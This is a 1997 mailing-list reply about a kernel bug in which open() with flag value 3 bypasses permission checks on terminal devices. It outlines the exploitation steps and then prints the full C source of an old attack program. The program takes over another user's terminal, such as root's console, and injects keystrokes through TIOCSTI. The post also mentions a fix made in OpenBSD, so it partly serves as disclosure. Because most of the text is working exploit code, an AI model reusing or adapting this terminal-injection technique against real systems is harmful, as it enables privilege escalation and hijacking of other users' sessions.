Re: Possible SERIOUS bug in open()?

Theo de Raadt (deraadt@CVS.OPENBSD.ORG)
Fri, 24 Oct 1997 17:47:16 -0600

> This is a variant of a bug Theo de Raadt found in SunOS back in the 1980s.
> The basic issue is that the code that guards access to the device-specific
> open() routine checks explicitly for FREAD, FWRITE, and O_TRUNC, and
> passes the call through if none of these are set. Theo's bug involved
> using "3" for the open() flag.

The bug worked in SunOS 4.0 and 4.1, and if I remember correctly it
was fixed in 4.1.3. What you basically did was this:

- lose your tty association
- open the console device you want to attack (ie. say, root is
logged into the console)
- fd = open("/dev/console", 3); close(fd);
- now you have just gained tty association.
- fd = open("/dev/tty", O_RDWR). This is the same as having opened
/dev/console, but this time I have permission to read & write.
- ioctl(fd, TIOCSTI, &c) ...

Of course, TIOCSTI simulates console input.

That this basic bug is still around is pretty dissapointing. I
reported the bug to Sun, but I guess they never told anyone else about
it, and hence it did not get fixed in the standard BSD code.

I'm a little dissapointed in myself for not having looked to see if
this bug still existed. Of course, the routed problems still exist
too, and that bug is about as old. I fixed it in OpenBSD yesterday.

Any vn_open() with FREAD|FWRITE == 0 fails with EINVAL.

here's the program I wrote a VERY VERY long time ago. (Neato, it has
some little buffer overflows in it ;-)

----------------------------------------

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/signal.h>
#include <sys/file.h>
#include <stdio.h>

#define ECHAR ((unsigned char)0x1d)

unsigned char tty[80];
int fd, p[2];;
int v = 1, sc = 1;

/* ----------------------------------------------------------------------
* MAIN:
* ------------------------------------------------------------------- */
main(argc, argv)
int argc;
char **argv;
{
int i, j, x;
unsigned char c;

if( argc<2 ) {
fprintf(stderr, "Usage: %s [-v] tty\n", argv[0]);
exit(0);
}

if( !strcmp(argv[1], "-v") ) {
sprintf(tty, "/dev/%s", argv[2]);
v = 1;
} else sprintf(tty, "/dev/%s", argv[1]);

printf("The escape character is ^]\n");
status(0);

pipe(p);
if( fork() == 0) {
close(p[1]);

x = getpgrp(0);
signal(SIGTTIN, SIG_IGN);
signal(SIGTTOU, SIG_IGN);

ioctl(open("/dev/tty",0), TIOCNOTTY, 0);
if( open(tty, 3) <0)
open(tty, O_WRONLY);
fd = open("/dev/tty", 2);
setpgrp(0,x);

while(1) {
x = read(p[0], &c, 1);
if(x==1) ioctl(fd, TIOCSTI, &c);
if(x==0) exit();
}

} else {
close(p[0]); /* me */
echo(0);

while( read(0, &c, 1) == 1) {
c &= 0x7f; /* kill parity bit */
if(c==ECHAR) {
if( read(0, &c, 1) == 1) switch( c&0x7f ) {
case 'q':
case 'Q': die();
break;
case 'c':
case 'C': sc = !sc;
status(1);
break;
case 'v':
case 'V': v = !v;
status(1);
break;
case 's':
case 'S': status(1);
break;
case '?':
case 'h':
case 'H': status(1);
printf("\n\r? - this screen\n\r");
printf("q - quit\n\r");
printf("v - verbose\n\r");
printf("c - control characters\n\r");
printf("s - status\n\r");
break;
default: send(ECHAR);
send(c);
break;
}
else die();
} else send(c);
}
die();
}
}

/* ----------------------------------------------------------------------
* SEND:
* ------------------------------------------------------------------- */
send(c)
unsigned char c;
{
unsigned char c2;

c &= 0x7f;
write(p[1], &c, 1);
if(v) {
if( c==' ' || c=='\t' ) { /* tab and space */
write(1, &c, 1);
} else if( c=='\r' || c=='\n' ) { /* return */
write(1, "\r\n", 2);
} else if( c<' ' ) { /* control characters */
if(sc) {
write(1, "^", 1);
c2 = c & 0x7f | 0x40;
write(1, &c2, 1);
}
} else { /* normal characters */
write(1, &c, 1);
}
}
}

/* ----------------------------------------------------------------------
* ECHO:
* ------------------------------------------------------------------- */
echo(n)
int n;
{
struct sgttyb ttyb;

ioctl(0, TIOCGETP, &ttyb);
if(n) ttyb.sg_flags = (ttyb.sg_flags | ECHO) & ~RAW;
else ttyb.sg_flags = (ttyb.sg_flags & ~ECHO) | RAW;
ioctl(1, TIOCSETP, &ttyb);
}

/* ----------------------------------------------------------------------
* DIE:
* ------------------------------------------------------------------- */
die()
{
echo(1);
exit(0);
}

status(x)
int x;
{
if(x) printf("\n\r");
printf("verbose:%d control:%d\n\r", v, sc);
}